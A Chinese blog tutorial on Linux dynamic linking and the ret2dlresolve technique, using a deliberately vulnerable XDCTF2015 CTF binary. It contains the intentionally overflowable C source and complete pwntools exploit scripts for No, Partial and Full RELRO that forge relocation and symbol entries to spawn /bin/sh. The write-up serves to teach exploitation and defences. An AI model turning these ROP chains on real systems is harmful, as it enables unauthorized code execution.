Ret2dlresolve攻击解析

Ret2dlresolve攻击解析(Linux动态链接原理)

  • 本文尝试使用问题驱动作为行文思路的方式,使用问答的方式一步一步剖析Linux动态链接原理,并解析ret2dlresolve攻击方法

Q1:什么是动态链接?

  • 把链接这个过程推迟到了运行时再进行,在可执行文件装载时或运行时,由操作系统的装载程序加载库

Q2:为什么需要动态链接?

  • 解决静态链接的空间浪费和更新困难问题

Q3:动态链接的实现?

  • Linux:.so;Windows:.dll

  • 共享的是代码,私有的是数据

  • 共享对象的最终装载地址在编译时是不确定的,而是在装载时,装载器根据当前地址空间的空闲情况,动态分配一块足够大小的虚拟地址空间给相应的共享对象

Q4:动态链接对象共享难题?

  • 指令部分有两个地方需要在装载时确定

    • 一是指令访问其他模块的数据。如果其他模块的数据的地址需要再装载时才能确定,这就必须修改指令中的地址
    • 二是指令中调用其他模块的函数
  • 解决方法:全局偏移表 GOT(global offset table)

Q5:GOT?

  • 数据段中的一个指针数组:
    • 存储:存放跨模块的数据/函数的地址
    • 动态修改:在装载时动态填入
    • 访问:通过GOT的指针间接访问
  • 说白了GOT是所有需要动态装载模块的一个wrapper,是一个存放具体跳转地址的指针
  • 在ELF中,.got用来保存全局变量引用的地址,.got.plt用来保存函数引用的地址

Q6:x86 PLT过程?

PLT基本流程:

1
2
3
4
5
6
7
8
9
10
/** csapp中GOT指的是(.got.plt + got)**/
PLT[0]: # 被所有的.plt实体所共享
push *(GOT+4) # 4.将Module ID(GOT[1])压入栈
jmp *(GOT+8) # 5.调用_dl_runtime_resolve()(GOT[2]),根据id+n完成符号解析与重定位,并将解析地址填入到bar@GOT中(也就是下次就不需要解析了)
...
...
bar@plt( PLT[n] ):
jmp *(bar@GOT) # 1.如果符号已绑定,则跳转到符号位置;如果未绑定,则跳转到下面
push n # 2.将符号在重定位表中的下标压入栈
jmp PLT0 # 3.跳转到PLT0处

一句话描述:PLT首先会查找.got.plt节(GOT)。如果GOT找不到符号地址(主要由于延迟绑定 lazy-binding),那么PLT将会调用一个动态加载器中的函数_dl_runtime_resolve()

  • 在主ELF镜像的.dynstr节中找到NULL为终结符的字符串puts\0
  • 然后在所有加载的共享目标中找到puts的地址(如libc.so.6

e.g.

在执行完_dl_runtime_resolve()函数之后read@GOT的数据就被修改为装载到堆上的地址,即

Q7:.got.plt

  • .got.plt前面三项:
1
2
3
4
5
6
7
8
9
10
11
12
13
------------------------
.dynamic段地址
------------------------
本模块ID
------------------------
_dl_runtime_resolve()地址
------------------------
导入函数1
------------------------
导入函数2
------------------------
...
------------------------
  • 在GDB中,我们可以看到.got.plt第一个导入函数的地址为0x80498c4

根据前面.got.plt的结构,我们可以知晓Module ID地址为0x80498bc_dl_runtime_resolve()地址为0x80498c0

Q7:_dl_runtime_resolve()

_dl_runtime_resolve()函数有两个参数,一个是link_map,在本例中为0xf7ffd940,而另一个参数是reloc_index,在本例中为0x8。请注意,这两个参数都是存放在栈中的,由于当前环境为x86,参数是存放在栈上的;但当环境为x64时,这两个参数仍然是存放在栈中的,原因也很简单,因为rdi, rsi, rdx(rcx, r8, r9...)现在存放的是被调函数的参数,为了减少额外的保护现场汇编码,这里直接将参数入栈处理。

_dl_runtime_resolve(link_map, reloc_index)做了如下的事:

  • 找到目标函数名以NULL截断的字符串(如”read”);
  • 在所有已经载入的库(共享目标)中寻找该地址;
  • 将该地址写回GOT(即将找到的地址填入read@got.plt中);
  • 跳转到read()并执行。

这里存在一个问题,就是目标函数名是如何找到的?我们将在下一问中进行解答。

Q8:寻找的函数名是如何确定的?

总体寻址流程[3]:


细节:

.dynamic段:

  • 存放.dynsym.dynstr地址

  • 存放Elf_Dyn实体:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    typedef struct {
    Elf32_Sword d_tag;
    union {
    Elf32_Word d_val;
    Elf32_Addr d_ptr;
    } d_un;
    } Elf32_Dyn;

    // x64
    typedef struct
    {
    Elf64_Sxword d_tag; /* Dynamic entry type */
    union
    {
    Elf64_Xword d_val; /* Integer value */
    Elf64_Addr d_ptr; /* Address value */
    } d_un;
    } Elf64_Dyn;

link_map.l_info

  • 动态加载器存储这些实体的结构体(link_map结构体成员很多[4],我们仅需关注l_info
  • 定义:
1
2
3
4
5
6
7
8
9
10
11
12
struct link_map
{
...
/* Indexed pointers to dynamic section.
[0,DT_NUM) are indexed by the processor-independent tags.
[DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
[DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are indexed by DT_VERSIONTAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by DT_EXTRATAGIDX(tagvalue).
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are indexed by DT_VALTAGIDX(tagvalue) and
[DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
...

d_tag (dynamic entry type) 定义在elf/elf.h[5]中:

1
2
3
4
5
6
/* Legal values for d_tag (dynamic entry type).  */
...
#define DT_STRTAB 5 /* Address of string table (.dynstr) */
#define DT_SYMTAB 6 /* Address of symbol table (.dynsym) */
...
#define DT_JMPREL 23 /* Address of PLT relocs (.plt.dyn) */

在Q6中,PLT[0]是有将Module ID的值压入堆栈,而该值就是link_map:

那link_map到l_info的偏移值是多少呢?A:+8 * 位长(x86:4;x64:8)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
/* All following members are internal to the dynamic linker.
They may change without notice. */
/* This is an element which is only ever different from a pointer to
the very same copy of this type for ld.so when it is used in more
than one namespace. */
struct link_map *l_real;
/* Number of the namespace this link map belongs to. */
Lmid_t l_ns;
struct libname_list *l_libname;
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

即l_info的地址为link_map + 8 * (4/8),那么有:

Member Address
link_map->l_info[DT_STRTAB] link_map_base + (8 + 5 = 13) * (4/8)
link_map->l_info[DT_SYMTAB] link_map_base + (8 + 6 = 14) * (4/8)
link_map->l_info[DT_JMPREL] link_map_base + (8 + 23 = 31) * (4/8)

然后我们可以查看.dynstr存放的数据,如下所示:


至此,我们得到了.rel.plt.dynstr.dynsym的地址。接下来,我们根据上述的寻址流程一步一步找到对应的函数名:

如前所述,reloc_index在此例中为0x8。那么read函数Elf_Rel结构体的地址为0x08048304 + 8 = 0x804830c,即

这里显然0x080498c8r_offset,而0x207r_info

1
2
3
// glibc/elf/elf.h
#define ELF32_R_SYM(val) ((val) >> 8)
#define ELF32_R_TYPE(val) ((val) & 0xff)

因此,read对应的Elf_SYM结构体在.dynsym的偏移为ELF32_R_SYM(r_info)= 0x207 >> 8 = 2

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) (16 bits)*/
Elf32_Addr st_value; /* Symbol value (16 bits)*/
Elf32_Word st_size; /* Symbol size (16 bits)*/
unsigned char st_info; /* Symbol type and binding (8 bits)*/
unsigned char st_other; /* Symbol visibility (8 bits) */
Elf32_Section st_shndx; /* Section index (16 bits)*/
} Elf32_Sym;

sizeof(struct Elf32_Sym)=4*4=0x10(注意这里结构体内存对齐),那么对应Elf_SYM结构体的起始位置为0x080481ac + 0x10 * 0x2 = 0x80481cc,则有

🤔 哎嘿,这里居然不是地址吗?那这里0x5c是个啥玩意??我们不妨猜测一下,该地址是搜索字符串在.dynstr的偏移值?我们来验证一下:

这样一来,我们就得到了函数名,然后链接器将在所有加载的共享代码中找到包含该字符串的函数地址,并将该地址填入GOT表中。

Q9:X86 Ret2dlresolve

NO RELRO

NO RELRO,顾名思义,不开启重定向只读保护(.dynamic可读可写),即.dynamic可以被修改。

对于关闭RELRO的程序来说,最简单的利用方法是修改link_map中的.dynstr的地址。 需要注意的是,修改.dynstr能够成功进行攻击的最根本原因是:动态链接器根据偏移进行寻址(很显然不能使用固定的地址寻址,原因是PIE机制会修改程序载入的基址)。

NO RELRO攻击的具体流程如下:

  1. 在可写内存中构造一个虚假的.dynstr区(将某一函数的字符串替换为另外一个函数,如system、execve等);
  2. 然后调用写函数将link_map中的存放.dynstr的成员变量替换为上述构造的虚假.dynstr区地址;
  3. 将原函数的GOT的跳转地址修改为PLT的下一条指令地址这里也可以直接RET到PLT的下一条指令
  4. 由于步骤3清空的动态链接器之前查找到的地址,因此再调用该函数时,动态链接器会重新调用_dl_runtime_resolve()来查找该函数载入的地址,而此时该函数的字符串已经修改为恶意的函数(如system、execve等),那么最终查找到的地址为恶意函数的地址,由此攻击成功

Q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln() {
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main() {
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
1
gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# encoding=utf-8
from pwn import *

# context.log_level="debug"
context.terminal = ["tmux","splitw","-h"]
context.arch="i386"

sh = process("./main_no_relro_32")
rop = ROP("./main_no_relro_32")
elf = ELF("./main_no_relro_32")

sh.recvuntil(b'Welcome to XDCTF2015~!\n')

offset = 0x70
dynstr_addr = 0x08049804 + 4
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")

bss_end_addr = 0x80498e0

read_got_addr = 0x80498c8
read_plt_addr = 0x8048370
read_plt_next_addr = 0x08048376

pop_12 = 0x0804834a

rop.raw(b'a' * offset)
# modify .dynstr pointer
rop.read(0, dynstr_addr, 4)
# construct fake .dynstr
rop.read(0, bss_end_addr, len(dynstr))
# construct string "/bin/sh"
rop.read(0, bss_end_addr + len(dynstr) + 1, len(b"/bin/sh\x00"))
# change got of read to next addr of read's plt
rop.read(0, read_got_addr, 4)
rop.raw(read_plt_addr)
rop.raw(0xdeadbeef) # fake ret
rop.raw(bss_end_addr + len(dynstr) + 1) # arg1

assert(len(rop.chain()) <= 256)
rop.raw(b"a" * (256 - len(rop.chain())))

sh.send(rop.chain())
sh.send(p32(bss_end_addr))
sh.send(dynstr)
sh.send(b"/bin/sh\x00")
sh.send(p32(read_plt_next_addr))

sh.interactive()

请注意使用python3.7,否则ROP链会存在问题(REL解析出错)

Partial RELRO

如下编译源文件:

1
gcc -fno-stack-protector -m32 -z relro -z lazy -no-pie ../../main.c -o main_partial_relro_32

在Partial RELRO的条件下,.dynamic全部只读,因此不能像上述通过修改指针进行利用。那我们该如何利用了?

在Q7中,我们知道_dl_runtime_resolve(link_map, reloc_index)的两个参数都是通过PLT传入堆栈的,第2个参数在func@plt中被压入堆栈,第1个参数在PLT[0]中被压入堆栈;如果我们提前在堆栈中构造reloc_index,并将其指向精心伪造的空间(重定位表项.rel.plt、动态符号表.dynsym和动态字符串.dyn_str),那么就可以混淆动态载入的函数了

此攻击能够成功的原因在于——动态链接器寻址使用相对偏移量

  • reloc_index: index of .rel.plt item
  • r_info: index of .dynsym item
  • st_name: index of string of .dynstr

Partial RELRO具体攻击步骤:

  1. 跳转到PLT[0]PLT[X](X>0)中进行的操作是将reloc_index压入栈(相应的,也要提前把函数参数送入栈中),这里提前构造虚假的reloc_index指向我们自己构造的Elf_Rel项,然后跳转到PLT[0],接着往堆栈中压入link_map,紧接着就是调用_dl_runtime_resolve
  2. 在虚假的Elf_Rel项中,构造虚假的r_info指向虚假的.dynsymElf_Sym项(这里由于r_info过大可能会导致检查version hash时出错,这里需要调整.dynsym的地址)
  3. 在虚假的Elf_Sym项中,st_name指向虚假的字符串,如system

尝试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#encoding=utf-8
from pwn import *

# context.log_level="debug"

elf = ELF('./main_partial_relro_32')
sh = process('./main_partial_relro_32')
rop = ROP('./main_partial_relro_32')

sh.recvuntil(b'Welcome to XDCTF2015~!\n')

offset = 0x70
bss_addr = elf.bss()
stack_size = 0x800

stack_base = bss_addr + stack_size + 0x10 * 40 # stack grows from high address to low address!

rop.raw(b'a' * offset)
rop.read(0, stack_base, 100)
rop.migrate(stack_base) # <-- ebp to bss_addr (pop ebp; ret) and leave to ebp (leave[esp = ebp; pop ebp;]; ret)
# notice that the addr stored in stack is stack_base - 4

sh.sendline(rop.chain())

rop = ROP('./main_partial_relro_32')
sh_str = b"/bin/sh\x00"

plt0 = elf.get_section_by_name('.plt').header.sh_addr
got0 = elf.get_section_by_name('.got').header.sh_addr

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr

write_reloc_offset = stack_base + 24 - rel_plt
r_offset = write_got = elf.got["write"]

fake_sym_addr = stack_base + 32
align = 0x10 - ((fake_sym_addr - dynsym_addr) & 0xf) # align to 0x10
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym_addr) // 0x10
fake_str_addr = fake_sym_addr + 16
st_name = (fake_str_addr - dynstr_addr)
fake_write_sym = flat([st_name, 0, 0, 0x12])

r_info = (index_dynsym << 8) + 0x7

rop.raw(plt0) # jmp plt[0]
rop.raw(write_reloc_offset) # push offset
rop.raw('fake') # fake ret
rop.raw(stack_base + 80)
rop.raw(0)
rop.raw(0)

'''
rop.write(1, stack_base + 80, len(sh_str))
execve("/bin/sh", 0, 0)
'''

# fake .rel.plt entry [r_offset, r_info]
rop.raw(r_offset)
rop.raw(r_info)

# fake .dynsym entry
rop.raw(b'a' * align)
rop.raw(fake_write_sym)

# fake .dynstr
rop.raw(b'execve\x00')

rop.raw(b'a' * (80 - len(rop.chain())))
rop.raw(sh_str)
rop.raw(b'a' * (100 - len(rop.chain())))

sh.sendline(rop.chain())

sh.interactive()

结果成了:

可能会存在的问题:

除此之外,你也可以使用基于工具的伪造,如Roputil或pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.binary = elf = ELF("./main_partial_relro_32")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./main_partial_relro_32")
io.recvuntil("Welcome to XDCTF2015~!\n")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

Full RELRO

如下编译源文件:

1
gcc -fno-stack-protector -m32 -z relro -z now -no-pie ../../main.c -o main_partial_relro_32

开启了Full RELRO之后,所有GOT表中的函数都会在程序执行前被动态载入,如下所示:

除此之外,我们再来看一下GOT表的情况:

我们可以看到link_map地址和_dl_runtime_resolve()的地址都已被设置为0了。这样一来,在不知道_dl_runtime_resolve()地址和link_map信息的前提下,我们是没有办法进行攻击的。参考资料[3]的论文给出了一种攻击手段,主要通过信息泄露来获得相关信息:

1⃣ link_map地址:从DT_DEBUG中进行恢复

这里需要介绍一下DT_DEBUG存放的r_debug结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct r_debug
{
/* Version number for this protocol. It should be greater than 0. */
int r_version;
struct link_map *r_map; /* Head of the chain of loaded objects. */
/* This is the address of a function internal to the run-time linker,
that will always be called when the linker begins to map in a
library or unmap it, and again when the mapping change is complete.
The debugger can set a breakpoint at this address if it wants to
notice shared object mapping changes. */
ElfW(Addr) r_brk;
enum
{
/* This state value describes the mapping change taking place when
the `r_brk' address is called. */
RT_CONSISTENT, /* Mapping change is complete. */
RT_ADD, /* Beginning to add a new object. */
RT_DELETE /* Beginning to remove an object mapping. */
} r_state;
ElfW(Addr) r_ldbase; /* Base address the linker is loaded at. */
};

其中r_map指针就是link_map的地址,这样一来我们就通过r_debug结构体的信息泄露得到了link_map的地址;

2⃣ _dl_runtime_resolve()的地址

_dl_runtime_resolve()地址的恢复是很巧妙的,其主要的思想是通过访问应用载入库中没有被Full RELRO保护的ELF目标,然后获得该目标中的_dl_runtime_resolve()的地址。这里通过访问上述link_mapl_next对象来遍历所有载入的ELF目标的link_map信息,然后根据DT_PLTGOT是否为0来判断该目标是否可利用(如果为0,可能是Full RELRO保护的目标或者静态库)。如果目标可利用,那么根据GOT表的信息即可得到_dl_runtime_resolve()的地址。

在获取上述两个地址之后,我们就可以使用Partial RELRO中的攻击手段进行攻击。

我们稍微简单的总结一下Full RELRO的攻击手段:

  1. 根据DT_DEBUG泄露的信息得到link_map地址;

  2. 遍历link_map链表中其他所有的link_map,找到可利用的_dl_runtime_resolve()的地址;

  3. 提前将reloc_offsetlink_map压入堆栈,程序执行流调用_dl_runtime_resolve();

  4. reloc_offset指向我们构造的虚假的.rel.plt [r_offset, r_info] 结构;

    这里需要注意的是r_offset成员必须指向一个可以写的内存空间,否则在调用完_dl_runtime_resolve()时会报错!

  5. r_info的高8位为.dynsym [st_name, …, …, …] 结构的偏移量,其中st_name查找函数名在虚假的.dyn.str字符串中的偏移量(因此这里还需要构造一个虚假的.dyn.str结构);

  6. 至此,攻击链构造完毕:happy: 。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#encoding=utf-8

from pwn import *

# context.log_level="debug"

sh = process("./main_full_relro_32")
rop = ROP("./main_full_relro_32")
elf = ELF("./main_full_relro_32")

r_debug = elf.get_section_by_name('.dynamic').header.sh_addr + 25 * 4

offset = 0x70
bss_addr = elf.bss()
stack_size = 0x800
stack_base = bss_addr + stack_size;
sh_str = b'/bin/sh\x00'

def change_stack_addr(stack_base):
if stack_base != bss_addr + stack_size:
stack_base = bss_addr + stack_size
else:
stack_base = bss_addr + stack_size - 0x100
return stack_base

# first leak r_debug
sh.recvuntil(b'Welcome to XDCTF2015~!\n')

stack_base = change_stack_addr(stack_base)
rop.raw(b'a' * offset)
rop.write(1, r_debug, 4)
rop.read(0, stack_base, 100)
rop.migrate(stack_base)
sh.sendline(rop.chain())
r_debug_addr = u32(sh.recv(4))

# second leak r_map (link_map)
stack_base = change_stack_addr(stack_base)
rop = ROP("./main_full_relro_32")
rop.write(1, r_debug_addr + 4, 4)
rop.read(0, stack_base, 100)
rop.migrate(stack_base)
sh.sendline(rop.chain())
r_map_addr = link_map_addr = u32(sh.recv(4))
print("[*] The address of link_map is", hex(r_map_addr))

# third find _dl_runtime_resolve
# traverse the linked list of linkmap to find _dl_runtime_resolve() addr
link_map_l_next_addr = link_map_addr
is_found = False
while(1):
stack_base = change_stack_addr(stack_base)
rop = ROP("./main_full_relro_32")
link_map_l_next = link_map_l_next_addr + 3 * 4
rop.write(1, link_map_l_next, 4)
rop.read(0, stack_base, 100)
rop.migrate(stack_base)
sh.sendline(rop.chain())
link_map_l_next_addr = u32(sh.recv(4))

if link_map_l_next_addr == 0:
break
print("[*] The address of next link_map is", hex(link_map_l_next_addr))

dyn_pltgot_ptr_addr = link_map_l_next_addr + 8 * 4 + 3 * 4
stack_base = change_stack_addr(stack_base)
rop = ROP("./main_full_relro_32")
rop.write(1, dyn_pltgot_ptr_addr, 4)
rop.read(0, stack_base, 100)
rop.migrate(stack_base)
sh.sendline(rop.chain())
elf_pltgot_ptr_addr = u32(sh.recv(4))

print(" [*] The address of pltgot_ptr is", hex(elf_pltgot_ptr_addr))

if elf_pltgot_ptr_addr == 0:
print(" [*] This elf is static linked or full relro")
continue

stack_base = change_stack_addr(stack_base)
rop = ROP("./main_full_relro_32")
rop.write(1, elf_pltgot_ptr_addr + 4, 4)
rop.read(0, stack_base, 100)
rop.migrate(stack_base)
sh.sendline(rop.chain())
real_plt_got_addr = u32(sh.recv(4))

stack_base = change_stack_addr(stack_base)
rop = ROP("./main_full_relro_32")
rop.write(1, real_plt_got_addr + 8, 4)
rop.read(0, stack_base, 100)
rop.migrate(stack_base)
sh.sendline(rop.chain())
dl_runtime_addr = u32(sh.recv(4))

if dl_runtime_addr == 0:
print(" [*] This elf is static linked or full relro")
continue
else:
print(" [*] Found it! The address of _dl_runtime_resolve() is", hex(dl_runtime_addr))
is_found = True
break

if not is_found:
print("[*] Attack Failed! Could not find address of _dl_runtime_resolve().")
exit(0)

# use dl_runtime_addr and link_map_addr
rop = ROP("./main_full_relro_32")
stack_base = bss_addr + 800
rop.read(0, stack_base, 100)
rop.migrate(stack_base)
sh.sendline(rop.chain())

rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr

write_reloc_offset = stack_base + 28 - rel_plt
r_offset = stack_base + 36

fake_sym_addr = stack_base + 40
align = 0x10 - ((fake_sym_addr - dynsym_addr) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym_addr) // 0x10
fake_str_addr = fake_sym_addr + 16
st_name = (fake_str_addr - dynstr_addr)
fake_write_sym = flat([st_name, 0, 0, 0x12])

r_info = (index_dynsym << 8) + 0x7

rop = ROP("./main_full_relro_32")
rop.raw(dl_runtime_addr)
rop.raw(link_map_addr)
rop.raw(write_reloc_offset)
rop.raw(b'bbbb')
rop.raw(stack_base + 80)
rop.raw(0)
rop.raw(0)

# fake .rel.plt [r_offset(fake!), r_info]
rop.raw(r_offset)
rop.raw(r_info)
rop.raw(b'bbbb')

# fake .dynsym entry
rop.raw(b'a' * align)
rop.raw(fake_write_sym)

# fake .dynstr
rop.raw(b'execve\x00')

rop.raw(b'a' * (80 - len(rop.chain())))
rop.raw(sh_str)
sh.sendline(rop.chain())

sh.interactive()

运行结果:

  1. Understanding _dl_runtime_resolve() - Peilin Ye’s blog (ypl.coffee) 强烈推荐这一篇文章!! 不看我真的会哭的~
  2. Symbol Reslove - CTF Wiki (ctf-wiki.org) 经典文章了
  3. Di Federico, Alessandro, et al. “How the {ELF} Ruined Christmas.” 24th USENIX Security Symposium (USENIX Security 15). 2015.
  4. [link.h source code glibc/include/link.h] - Codebrowser
  5. [elf.h source code glibc/elf/elf.h] - Codebrowser
  6. Ret2dlresolve攻击——从No RELRO到FULL RELRO | T3stzer0’s Blog (testzero-wz.com)

Ret2dlresolve攻击解析
http://bladchan.github.io/2023/10/13/Ret2dlresolve攻击解析/
作者
bladchan
发布于
2023年10月13日
许可协议